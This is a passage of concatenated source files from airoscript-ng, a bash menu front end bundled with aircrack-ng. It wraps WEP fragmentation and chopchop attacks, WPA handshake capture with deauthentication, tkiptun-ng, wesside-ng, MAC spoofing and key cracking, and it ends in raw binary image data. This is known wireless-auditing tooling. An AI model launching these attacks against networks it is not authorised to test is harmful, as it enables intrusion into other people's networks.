$Host_MAC -h $FAKE_MAC -x $INJECTRATE auth_attacks_fake 1 fi } wep_attacks_fragmentation(){ if [[ $directed != 1 ]]; then time_=1; auth_attacks_fake tail_launched=1 export wait_for_execute=1; execute $"Fragmentation w/o client" $AIREPLAY -5 -b $Host_MAC -h\ $FAKE_MAC -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $iwifi wait_for_execute=0; else time_=1; tail_launched=1 wait_for_execute=1; execute $"Fragmentation attack" $AIREPLAY -7 -b $Host_MAC -h $Client_MAC\ -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $iwifi wait_for_execute=0; fi AUTO=1 injectmenu frag } wep_attacks_chopchop(){ $clear hardclean replay_dec-*.xor [[ $directed != 1 ]] && { auth_attacks_fake tail_launched=1 export wait_for_execute=1; execute $"Chopchoping at $Host_SSID"\ $AIREPLAY --chopchop -b $Host_MAC -h $FAKE_MAC $iwifi export wait_for_execute=0; } || { export wait_for_execute=1; tail_launched=1 execute $"Directed ChopChoping to $Client_MAC at $Host_SSID"\ $AIREPLAY --chopchop -b $Host_MAC -h $Client_MAC $iwifi export wait_for_execute=0; } AUTO=1 injectmenu chopchop } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/attacks/others0000644000000000000000000002715112271675067025202 0ustar rootroot# Other tools (mostly external) functions file for airoscript. # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_function fakeauth3 || source $path/attacks/auth # It depends on auth module ;) check_function injectmenu || source $path/attacks/injection # It depends on injection module ;) othertmenu(){ while true; do mkmenu $"Other aircrack-ng tools" $"Scanning" $"Injection" $"Autentication" $"Package manipulation" $"Create virtual interface with airtun-ng" $"Diagnostics and reports" $"Auto crack wep with wesside-ng" "Easside-ng" $"Return to main menu" case $choice in 1 ) AUTO=0 menu_type; $clear; break;; 2 ) othersinjectmenu ; $clear; break;; 3 ) authmenu ; $clear; break;; 4 ) package_menu ; $clear; break;; 5 ) airtunmenu ; $clear; break;; 6 ) diagmenu ; $clear; break;; 7 ) choosewesside ; $clear; break;; 8 ) eassideng ; $clear; break;; 9 ) $clear ; break ;; * ) echo $"Unknown response, try again"; sleep 1; $clear;; esac done } generate_hcap(){ wait_for_execute=1; execute $AIRCRACK $DUMP_PATH/$Host_MAC-01.cap -J $DUMP_PATH/$Host_MAC-01.hccap; wait_for_execute=0; read -p $"Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue" export HCCAPFILE=$DUMP_PATH/$Host_MAC-01.hccap } airdecmenu(){ while true; do if [ "$d_cloaked_null" == 1 ]; then d_cloaked_null_status="X"; else d_cloaked_null_status=" "; fi if [ "$d_cloaked_base" == 1 ]; then d_cloaked_base_status="X"; else d_cloaked_base_status=" "; fi if [ "$d_cloaked_frag" == 1 ]; then d_cloaked_frag_status="X"; else d_cloaked_frag_status=" "; fi mkmenu "Airdecloak-ng" "Asume that null packets can be cloacked [$d_cloaked_null_status]" "Disable base filter [$d_cloaked_base_status]" "Drop fragmented packets [$d_cloaked_frag_status]" "Specify filters (comma separated)" "Launch decloak" "Return to main menu" opts=""; case $choice in 1) if [ "$d_cloaked_null" == 1 ]; then d_cloaked_null=0; else d_cloaked_null=1; fi; $clear;; 2) if [ "$d_cloaked_base" == 1 ]; then d_cloaked_base=0; else d_cloaked_base=1; fi; $clear;; 3) if [ "$d_cloaked_frag" == 1 ]; then d_cloaked_frag=0; else d_cloaked_frag=1; fi; $clear;; 4) single_question "Enter filters: "; d_cloaked_filters=$ans; $clear;; 5) if [ "$d_cloaked_null" == 1 ]; then opts="$opts --null-packets"; fi if [ "$d_cloaked_base" == 1 ]; then opts="$opts --diable-base-filter"; fi if [ "$d_cloaked_frag" == 1 ]; then opts="$opts --drop-frag"; fi execute $AIRDECLOAK $opts --ssid $Host_SSID --bssid $Host_MAC --filters $d_cloaked_filters -i $DUMP_PATH/$Host_MAC-01.cap $clear; break;; 6) $clear; break;; esac done } airtunmenu(){ if [ "$Host_MAC" != "" ] && [ "$Host_SSID" != "" ] && [ -e $DUMP_PATH/$Host_MAC.key ]; then execute $AIRTUN -a $Host_MAC -i $wificard -w "`cat $DUMP_PATH/$Host_MAC.key`" else if [ "$Host_MAC" != "" ] && [ "$Host_SSID" != "" ] && [[ $Host_ENC =~ (.*)"OPN"(.*) ]]; then execute $AIRTUN -a $Host_MAC -i $wificard else warn "Error: Network not selected" fi fi } cleanairtun() { killall airtun-ng } package_menu(){ while true; do [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { mkmenu $"Package manipulation tools" $"Merge all ivs from all sessions" $"Decrypt current packages" $"Decloack packages"\ $"Generate hccap file for oclhashcat" $"Return to main menu" case $choice in 1) mergeallivs;$clear; break;; 2) decrypt; $clear; break;; 3) airdecmenu; $clear; break;; 4) generate_hcap ; $clear; break;; 5) $clear;break ;; * ) echo $"Unknown response. Try again" ;; esac } || { mkmenu $"Package manipulation tools" $"Merge all ivs from all sessions" $"Decrypt current packages" $"Decloack packages"\ $"Return to main menu" case $choice in 1) mergeallivs;$clear; break;; 2) decrypt; $clear; break;; 3) airdecmenu; $clear; break;; 4) $clear;break ;; * ) echo $"Unknown response. Try again" ;; esac } done } mergeallivs(){ # TODO Untested newdir=`mktemp -d` for i in $TMPDIR/*/*.cap; do b=$(( $b + 1 )); $IVSTOOLS --convert $i $newdir/$b; done ivstools --merge $newdir/* $DUMP_PATH/merged.cap read -p $"Select merged data as target? (y/N): " ACP && [[ "$ACP" = $"y" ]] && Host_MAC="merged" } choosewesside(){ while true; do $clear; mkmenu $"Choose Wesside-ng Options" $"No args" $"Selected target" $"Sel. target max retrans" $"Sel. target poor conection" $"Select another target" $"Return to main menu" case $choice in 1 ) wesside ; break ;; 2 ) wessidetarget ; break ;; 3 ) wessidetargetmaxer ; break ;; 4 ) wessidetargetpoor ; break ;; 5 ) wessidenewtarget ; break ;; 6 ) break ;; * ) echo -e $"Unknown response. Try again" ;; esac done } wesside(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -i $wifi & choosewesside } wessidetarget(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -v $Host_MAC -i $wifi & { [[ $1 ]] || choosewesside; } } wessidetargetmaxer(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -v $Host_MAC -k 1 -i $wifi & { [[ $1 ]] || choosewesside; } } wessidetargetpoor(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -v $Host_MAC -k 3 -i $wifi & { [[ $1 ]] || choosewesside; } } wessidenewtarget(){ rm -rf prga.log wep.cap key.log selectAp execute "Wesside" $WESSIDE -v $Host_MAC -i $wifi & { [[ $1 ]] || choosewesside; } } diagmenu(){ check_function kstatsmenu || source $path/reporting while true; do mkmenu $"Diagnostic tools and reports" $"Show kstats report" $"Test injection" $"Checks with airmon-ng" $"Create graphs" $"Update airoscript report" $"Return to main menu" case $choice in 1 ) kstatsmenu ; $clear; break;; 2 ) inject_test ; $clear; break;; 3 ) airmoncheck ; $clear; break;; 4 ) _airgraph ; $clear; break;; 5 ) report_mode ; $clear; break;; 6 ) make_report ; $clear; break;; 7 ) $clear; break;; * ) $"Unknown response, try again"; sleep 1; $clear;; esac done } inject_test(){ execute "Test injection" $AIREPLAY $iwifi --test } airmoncheck(){ if [ "$TYPE" = "Atherosmadwifi-ng" ]; then $AIRMON check wifi0 else $AIRMON check $wificard; fi } decrypt(){ $AIRDECAP $DUMP_PATH/$Host_MAC.cap -w "`cat $DUMP_PATH/$Host_MAC.key`" warn "Decrypted packages to $DUMP_PATH/$Host_MAC.cap-dec.cap" } menu_options(){ while [ "1" ] ; do mkmenu $"Airoscript options" $"Select another interface" $"Reset selected interface"\ $"Change MAC of interface" $"Enable monitor mode" $"Change DUMP_PATH"\ $"Try to configure network" $"Return to main menu" case $choice in 1 ) setinterface 1 ; $clear; break ;; 2 ) cleanup; $clear; break ;; 3 ) wichchangemac ; $clear; break ;; 4 ) monmode;$clear ; break ;; 5 ) changedumppath;$clear; break;; 6 ) configure;$clear; break;; 7 ) $clear;break ;; * ) $"Unknown response. Try again" ;; esac done } cleanup(){ while [ "1" ]; do mkmenu $"Interface cleanup" $"Normal cleanup" $"Reset driver" $"Vmware fix for bt4" $"Return to main menu" case $choice in 1 ) { killall -9 aireplay-ng airodump-ng &> /dev/null & $AIRMON stop $wificard; ifconfig $wificard down; $clear; sleep 2; $CARDCTL eject; sleep 2; $CARDCTL insert; ifconfig $wificard up; $AIRMON start $wificard $Host_CHAN; $iwconfig $wificard; } &>/dev/null ; break ;; 2 ) { rmmod $DRIVER; modprobe $DRIVER; } &>/dev/null; break ;; 3 ) { ifconfig $wificard down; rmmod $DRIVER; rfkill blockall; rfkill unblock all; modprobe $DRIVER; rfkill unblock all; ifconfig $wificard up; } &>/dev/null; break ;; 4 ) $clear; break ;; * ) $clear;; esac done } changedumppath(){ OLD_DUMP_PATH=$DUMP_PATH read -p $"Enter new path: " DUMP_PATH read -p $"Copy data into new folder? (y/N): " ACP && [[ "$ACP" = $"y" ]] && cp -r $OLD_DUMP_PATH/* $DUMP_PATH/ read -p $"Erase old folder? (y/N): " EPF && [[ "$EPF" = $"y" ]] && rm -r $OLD_DUMP_PATH mkdir -p $DUMP_PATH # If exists, it won't be created again, so we don't lose anything fot this :-) $olear } eassideng(){ while true; do $clear mkmenu "Easside-ng" $"Create virtual interface" "Run buddy server" "Return to main menu" case $choice in 1 ) while true; do $clear read -p $"Select buddy IP" buddyip; $clear mkmenu $"Choose ap mac " $"Choose source mac" $"Chosse Source IP" $"Choose router ip" $"Execute" $"Return"; read -p $"Anser: " answer; echo case $choice in 1 ) opts=" $opts -v $answer " ;break ;; 2 ) opts=" $opts -m $answer " ;break ;; 3 ) opts=" $opts -i $answer " ;break ;; 4 ) opts=" $opts -r $answer " ;break ;; 5 ) execute "Easside-ng" $EASSIDE -s $buddyip -f $wifi $opts ;break ;; 6 ) $clear; break ;; esac done ;; 2 ) execute $BUDDY ;; 3 ) $clear ; break ;; * ) $clear; echo $"Unknow response, try again"; sleep 2 ;; esac done } airbaseng(){ # FUCK This tool is quite awesome, too much for a single function... :/ Might be an entire class, but... this is bash. # Functional and so on, let's make a hack! check_function airbaseng_main || source $path/attacks/airbaseng opt=$1; shift; airbase_$opt $@; } setupairservng(){ single_question $"Do you want to use airserv-ng? [y/N] " if [ "$ans" == $"y" ]; then export wificard=$wifi && single_question $"Start a local server? [y/N] " if [ "$ans" == $"y" ]; then export wifi="127.0.0.1:666" && $AIRSERV -d $wificard >/dev/null 2>1 & else read -p $"Enter airserv-ng address [127.0.0.1:666]" wifi=$ans if [ "$wifi" == "" ]; then export wifi="127.0.0.1:666";fi fi fi } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/attacks/wpa0000644000000000000000000000644212313431364024450 0ustar rootroot# Wpa attack functions for airoscript # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Warning! at least generic, internal and interface must be loaded before this one! check_function auth_attacks_fake || source $path/attacks/auth # It depends on auth module ;) check_function wep_attacks || source $path/attacks/wep wpa_attacks(){ hardclean && $clear attack=$1; shift; wpa_attacks_$attack $@ notification=$attack_notification } wpa_attacks_menu(){ help_fifo $"${mark}${red}WPA attacks${end}\n"\ "You're seeing this menu because the network you selected has WPA encryption\n"\ "${red}Standard deauth attack${end}\n"\ "Deauths a client, then waits for the client to reconnect and tries to capture the 4-way handshake\n"\ "${red}QOS attack${end}\n"\ "Launches tkiptun-ng to try to crack some vulnerable accesspoints to the wmm stuff\n"\ "${red}WPA Migration Mode attack${end}\n"\ "This attack targets on Cisco Aironet routers, wich set both WPA and WEP encriptions on the same sssid\nIt listens for a wep-encapsulated arp packet and retransmits it (bitflipped to make it into an ARP coming from the attacker's MAC)" while true; do $clear; mkmenu $"Select WPA Attack" $"Standard attack" $"Standard attack with QoS (WMM)" $"WPA migration mode" $"Return to main menu" case $choice in 1) wpa_attacks handshake; $clear; break;; 2) wpa_attacks qos; $clear; break;; 3) wpa_attacks wpamm; $clear; break;; 4) $clear; break;; esac done } wpa_attacks_wpamm(){ { Host_ENC="WEP"; wep_attacks fakeauto & { AUTO=2; choice=3; othersinjectmenu; AUTO=0; $clear; }; $clear; } && Host_ENC="WPA"; $clear; echo; $clear; } wpa_attacks_handshake(){ [[ $dynamic_client_selection ]] && { auto_scan_clients; select_client; } [[ $Client_MAC != "" ]] && { directed=1; } export time_=0; execute $"Capturing data on channel: $Host_CHAN" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/$Host_MAC --bssid $Host_MAC --channel $Host_CHAN -a $wifi export time_=1 [[ $directed == 1 ]] && choose_deauth 2 [[ $directed != 1 ]] && choose_deauth 3 } wpa_attacks_qos(){ iwconfig $wificard channel $Host_CHAN # Hope this is ok for all cards export time_=0; execute $"Executing tkiptun-ng for ap $Host_MAC" $TKIPTUN -h $FAKE_MAC -a $Host_MAC -m $TKIPTUN_MIN_PL -n $TKIPTUN_MAX_PL $wifi } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/completions/0000755000000000000000000000000012316431270024631 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/completions/_airodump_ng0000644000000000000000000000101712121242616027214 0ustar rootroot_airodump-ng() { local current previous commands help_options previous=${COMP_WORDS[COMP_CWORD-1]} current="${COMP_WORDS[COMP_CWORD]}" commands="--help --ivs --gpsd --write --beacons --showack --update --berlin --channel --band --cswitch --output-format --ignore-negative-one --encrypt --bssid --netmask" help_options="setup new search show reply tag dump restore search-terms" COMPREPLY=( $(compgen -W "${commands}" -- ${current}) ) ; } complete -o default -o bashdefault -F _airodump-ng airodump-ng aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/_internal0000644000000000000000000002231212216362125024174 0ustar rootroot# Internal functions file for airoscript. # Recommends: wlandecrypter # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. required(){ check_function $1 || { specialwarn "${warn}${2}"; return 1; } } change_mac(){ type macchanger && { fail=$(ifconfig $1 down; $MACCHANGER $1 --mac $2 2>&1; ifconfig $1 up) } || { fail=$(ifconfig $1 down; ifconfig $1 $2 2>&1; ifconfig $1 up) } [[ $? == 0 ]] && echo -e "${mark}Interface mac set up correctly $(FAKE_MAC)" || echo -en "${mark}Unable to set interface mac: $?\n $fail" } error(){ export ERRORS="$@"; } info(){ export INFOS="$@"; } reload_config(){ return } cleanautovars(){ export AUTO=0; export QUIET=""; export INTERACTIVE=$OLDINTERACTIVE return } configure(){ if [ -O $DUMP_PATH/$Host_MAC.key ] && [ "$Host_MAC" != "" ]; then warn "${mark}Configuring network" KEY="$(cat $DUMP_PATH/$Host_MAC.key)" tag;warn "${mark}Got key: $KEY" [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { tag;warn "${mark}Configuring wpa_supplicant" wpa_passphrase $Host_SSID "$KEY" > $DUMP_PATH/$Host_MAC.wpa_supplicant; wpa_supplicant -i $wificard -B -c$DUMP_PATH/$Host_MAC.wpa_supplicant; tag; warn "${mark}Launching $DHCPSOFT to $wificard" $DHCPSOFT $wificard &>/dev/null || warn "${mark}Could not autoconfigure network" } || { tag; warn "${mark}Configuring network with iwconfig" $iwconfig $wificard essid $Host_SSID channel $Host_CHAN key $KEY &>/dev/null && { tag; warn "${mark}Launching $DHCPSOFT to $wificard" $DHCPSOFT $wificard &>/dev/null || warn "${mark}Could not autoconfigure network" && return 2 } || { warn "${mark}Could not autoconfigure network, wrong password size?"; } } else warn "You haven't cracked this network yet"; sleep 3; $clear fi } usage(){ cat << eof Usage: $(basename $0) [-h] [-t TERMINAL] [-v] [-w WIRELESS_CARD] [-b] [-m fakemac|realmac] [-a] [-n FILTER] [-x] [-z] [-p PLUGIN_FILE] options: -h Show this message -t TERMINAL Specify terminal -c Launches an interface selection menu (requires -pzenity) -v Verbose & debug mode -w wireless_card Specify wifi card -b Writes a csv file with network data. -m [fakemac|realmac] Change mac to fakemac before everything else. -a Automatic mode -n [regex] Filter SSID by regex -x Autoconfigure network after automatic crack (requires -a) -z Don't scan automatically at start -p [plugin file] Load plugin at start eof } launch_help_fifo(){ [[ -e $DUMP_PATH/help_fifo ]] || mkfifo $DUMP_PATH/help_fifo &>/dev/null execute "Help" "tail -f $DUMP_PATH/help_fifo" } help_fifo(){ clear >> $DUMP_PATH/help_fifo echo -e $@ >> $DUMP_PATH/help_fifo } function choose_interface(){ zenity --question --ok-label "Graphical" --cancel-label "Text" --text "Wich interface would you like to use?" --title "Interface selection" && load_plugins zenity } setargs(){ while getopts “bn:ht:w:zxcvm:fap:†option; do case $option in c) choose_interface ;; h) opt_functions+=(usage);; t) export TERMINAL="$OPTARG";; v) opt_functions+=(v);; w) export wificard="$OPTARG";; b) export report_mode=1;; m) opts_mac_opt="$OPTARG"; opt_functions+=(m);; a) opt_functions+=(auto);; n) export filter_ssid_="$OPTARG";; x) export options_autoconfigure=1;; z) export noscan=1;; p) load_plugins $OPTARG;; ?) opt_functions+=(usage);; esac done for i in ${opt_functions[@]}; do [[ $i == "usage" ]] && { usage; exit 1; }; done # Small hack to execute usage the first for i in ${opt_functions[@]}; do [[ $i != auto ]] && options_$i || execute_auto=1; done [[ $execute_auto ]] && options_auto; # Small hack to execute auto the lastest xD } options_m(){ opts_change_$opts_mac_opt; } opts_change_fakemac(){ wichchangemac 1; opts_wireless; } opts_change_realmac(){ checkforcemac 3; opts_wireless; } options_v(){ export debug=1; export hold=1; _source "./airoscript-ng_debug.conf ~/airoscript-ng_debug.conf /etc/airoscript-ng_debug.conf /usr/local/etc/airoscript-ng_debug.conf" } opts_wireless(){ { guess_idata "start"; testmac; export iwifi=$wifi ; } &>/dev/null; sleep 1; set_wifi_by_args=1 } options_auto(){ export noscan=1; temporary_switch_clear; export clear=""; check_function autopwn || source $path/autocrack; check_function doexit || source $path/internal/exit; autopwn runner doexit; } load_plugins(){ for i in ${@}; do [[ $i =~ (.*)bash(.*) ]] && export BASH_PLUGIN=1 || { if [[ -e $path/plugins/$i ]]; then _source "${path}/plugins/${i}" fi } done [[ $BASH_PLUGIN ]] || BASH_PLUGIN=0 } initial_warning(){ markwarn $" Airoscript is provided under the gpl. I'm not responsible of the use anyone can give to airoscript. Written for educational purpose in mind. " sleep $warn_time } # Standard functions. markwarn(){ echo -e "${warn}${@}" } _debug(){ if [ "$debug" == 1 ]; then markwarn $1; fi } execute(){ check_function mkmenu || source $path/interface check_function save_pids || source $path/internal/childs title=$1; shift; if [ "$ADDOPTIONS" != "" ]; then printf -- "Executing $@" echo read -p $"Enter extra options to execute: " eopts fi if [ "$1" == "crack" ]; then shift; fi # FIXME This will not do anything. if [ "$QUIET" != "" ] || [ "$AUTO" == "1" ]; then [[ $NOTITLE ]] || warn "${mark}$title" if [[ $wait_for_execute != 1 ]]; then ${@} $eopts &> /dev/null & else ${@} $eopts &> /dev/null fi else args="${@}"; args="${args/% /} ${eopts}" # Failsafe, this way if there's a trailing space it'll remove it before executing. [[ $wait_for_execute != 1 ]] && { $CDCMD $TERMINAL $HOLDA $TITLEFLAG "$title" $termargs "$args" & } || { $CDCMD $TERMINAL $HOLDA $TITLEFLAG "$title" $termargs "$args" } fi [[ $debug == 1 ]] && { echo $TERMINAL $HOLDA $TITLEFLAG "$title" $TOPLEFTBIG $BGC $BACKGROUND_COLOR $FGC $DUMPING_COLOR $EXECFLAG "$args"; read; } save_pids $! } monmode(){ { ifconfig $1 up [[ $($iwconfig $1) =~ (.*)Mode:Monitor(.*) ]] && { MON_PREFIX=$mon_prefix $AIRMON start $1 $2 } } &>/dev/null } # this function allows debugging, called from main menu. function debug { if [ "$debug" == "1" ] || [ "$hold" == "1" ]; then export HOLD=$HOLDFLAG; echo $"Debug Mode enabled, you'll have to manually close windows" else export HOLD="" ;fi } _read(){ # Read function so we can override it later, to add another interface. read "${@}"; } # Various checks. checkdir(){ if [ -d $DUMP_PATH ]; then if [ "$DEBUG" == 1 ]; then echo $"[INFO] Output folder is" " $DUMP_PATH"; fi else echo $"[Error] Output folder does not exists or is a regular file." exit fi } check_function(){ declare -f $1 &>/dev/null return $? } # Standard attacks functions. attack_wpa(){ check_function wpa_attacks || source $path/attacks/wpa wpa_attacks menu } attack_wep(){ check_function wep_attacks || source $path/attacks/wep wep_attacks menu } attack_opn(){ # If no encryption detected $clear && error "Network not encrypted or not network selected"; } capture(){ hardclean execute "Capturing" $AIRODUMP --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $wifi echo } tag(){ echo -ne "\t"; } hardclean(){ rm -rf $DUMP_PATH/$Host_MAC*; } single_question(){ read -p "${@}" ans; } special_single_question(){ single_question "${@}"; } warn(){ echo "${@}"; } specialwarn(){ echo -e -n "${@}"; } yesno(){ read -p "${@} [Y|n]" -n1 -s a; echo [[ $a =~ (.*)[N|n](.*) ]] && return 1 || return 0 } check_default_software(){ for program in ${required_software[@]}; do [[ $(whereis $program) ]] || { echo -en "$program"; warn "not found, quitting." ; exit ; } done } _source $path/internal/startup aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/crack/0000755000000000000000000000000012316431270023360 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/crack/main0000644000000000000000000001145212271675067024250 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. #This is crack function, for WEP encryption: crack_wep(){ if [ "$AUTO" == 1 ]; then execute $'Cracking wep\n' "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap" return fi while true; do [[ $1 ]] && choice=$1 || mkmenu $"WEP Cracking Options" $"aircrack-ng defaults" $"aircrack-ng Korek" $"aircrack-ng interactive" $"Return to main menu" case $choice in 1 ) execute $"Cracking wep, default options" crack "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-*.cap $crack_extra_opts $writekey"; $clear; break ;; 2 ) execute $"Cracking wep, Korek" crack "$AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-*.cap -K $crack_extra_opts $writekey" ; $clear; break ;; 3 ) single_question "Insert Fudge Factor: "; FUDGE_FACTOR="$ans"; single_question $"Type encryption size (64,128...): "; ENC_SIZE="$ans"; execute $"Cracking wep, manual options" crack "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGE_FACTOR\ -n $ENC_SIZE -0 -s $DUMP_PATH/$Host_MAC-*.cap -l $DUMP_PATH/$Host_MAC.key $crack_extra_opts $writekey" & $clear; break ;; 4 ) break ;; * ) echo $"Unknown response. Try again" ;; esac done } crack_wpa(){ while true; do [[ $1 ]] && { choice=$1 } || { mkmenu $"WPA Cracking Options" \ $"Standard" \ $"Use precomputed pmk database" \ $"Return to main menu" } case $choice in 1) if [[ $2 ]]; then execute $"Cracking WPA" crack "$AIRCRACK -a 2\ -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap\ -w $2 $writekey -l $DUMP_PATH/$Host_MAC.key" ; $clear; else if [ ! -e $WORDLIST ]; then [[ $pipe ]] && { markwarn $"Cracking with stdin entered data by $pipe" execute $"Cracking WPA" crack "$pipe $AIRCRACK -a 2\ -l $DUMP_PATH/$Host_MAC.key -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap \ -w -" ; $clear; } || { specialwarn $"Sorry, you cant crack wpa without a dictionary on $WORDLIST"; sleep 3; } else execute $"Cracking WPA" crack "$AIRCRACK -a 2\ -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap\ -w $WORDLIST $writekey -l $DUMP_PATH/$Host_MAC.key" ; $clear; fi fi break ;; 2) $clear; read -p $"Enter Database location [$db_location]" db_location_; [[ $db_location ]] && db_location=db_location_; execute $"Cracking WPA with pmk database" crack "$pipe $AIRCRACK -b $Host_MAC -s -l $DUMP_PATH/$Host_MAC.key $DUMP_PATH/$Host_MAC-01.cap -r $db_location $writekey"; break;; 3 ) break ;; * ) echo $"Unknown response. Try again" ;; esac done } selectcracking(){ if [ "$Host_ENC" = "OPN" ] || [ "$Host_ENC" = "" ] || [ "$Host_ENC" = " OPN " ]; then $clear && error $"Network not encrypted or no network selected " else if [ "$Host_ENC" = " WEP " ] || [ "$Host_ENC" = "WEP" ]; then crack_wep $@ else crack_wpa $@; fi fi check_function report_mode || source $path/reporting report_mode # If cracking finished, will print out the key. [[ -e $DUMP_PATH/$Host_MAC.key ]] && { key=`cat $DUMP_PATH/$Host_MAC.key` info "${mark}Network key:\"${key}\"" } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/0000755000000000000000000000000012316431270021716 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/airoscript.png0000644000000000000000000006172511776654501024633 0ustar rootroot‰PNG  IHDRׯЙbKGDÿÿÿ ½§“ pHYs × ×B(›xtIMEÜ.2^€hó IDATxÚìÝwœdE¹ÿñO‡ééÉaw6çvÉQ’dTDD@DÌõšõêõª×kö§bÀpÍYA0ƒŠ’ ËKؼlœz¦ÃùýQgu]Ø™9ub÷|ß¾ÚÄTw:ÕÕç<ç©* A*è7üÔ×¾»X2U°¤>$‘v˜©Ùãœ,ÅJCÝ}õ« êD""""""’$×>ùÍï-Ï8|¬â8ç9Ž“Jú;±¾£žWm­æTuíkâœe2™•RéízÛ®Ö·ADDDDDD’Âwì_ýîa™ Ÿtàô9]ÓÊì½8ÛÕÑþÌ›l'þàBÜuP¨j»:”Ëe_¿ÉYñÄšrÊI=\‚7ø­¯½]C¸ˆˆˆˆˆˆÄÍ:¸ö‰+¾wH&í|ÚÓçÍì*¸÷’lGkó”ÔrÔªC>dt”W­.­Û¼5“"õ³bjôÝ}Ë[6k(‘¸dm }ì«ÿ·*íÜÝÕÙQ>hŸ%©íÙ$Ýü«ªƒÚ 6ëÏå8ò€eÙ…³gpߣOœ;TpNæi(‘¸X×2éÌ‚\6ËÅg¿ W+ ‘„ÀƒÚ£JÛªºOtUöÇyóæ±tñ¢úï_óû9ê""""""§¬mÁtêëëC½™tß©úPß÷j¬XÒÖ """"""»¬ŸÂ †É3úDÕ€ú´ˆˆˆˆˆˆˆL^VMP›ä’Zï›ê!""""""’ ®…LA.QßÔAˆˆˆˆˆˆHí²®UÛ=­õËëûNE-(""""""±‹s­îi䊯éÕê÷"""""""S@øÓBu£+µ~œ¯Ö³_*{VDDDDDD’À_pMÁO‰«ñÕúµØ/uVEDDDDD$ bÝÐ`ppR©¤›ñ©BA.õÍ]Ôçó4äó:ù""""""RÕb ®í $¼äœs¹ïþû« ™ª0ô¡*«Æ ?¼÷½ï½¼ï}ïõW?ÅkEDDDDD$fVÁµ ྶX,R—ÍÍdt&$FŠÐD­â¤ü7½N›ˆˆˆˆˆˆ$@6î ¤R)Òé”΄ÄÙ Õs*ÿüovåÿù‰ˆˆˆˆˆH¼ìƒkÜÓ&ãæ8Ÿ®pTû0‡µX §˜áþîèidëXV=EªÆí£œÖ5Ì12E'Å?zê¹a[·íhHL8J¡1©>¢FNM,P?³¾ÄkçuÓ•û÷:êÊœÜ9ȱíCüxc+µðº$[:¯[ØÏysÿíÿ¯K9<·³Às; ܺ£Àçžh§PŽ;[/ˆÐš£àœˆˆˆˆˆˆÄ?>•~f}‰ÿX¸ýµ]Õ§^=¯›eM£ê-’hoXôÌÀÚ6ÂÇ–w“K+,%""""""_Á5Çç+δ“æl…7ÌßAc¦2q#¥àœ™}¤•'# 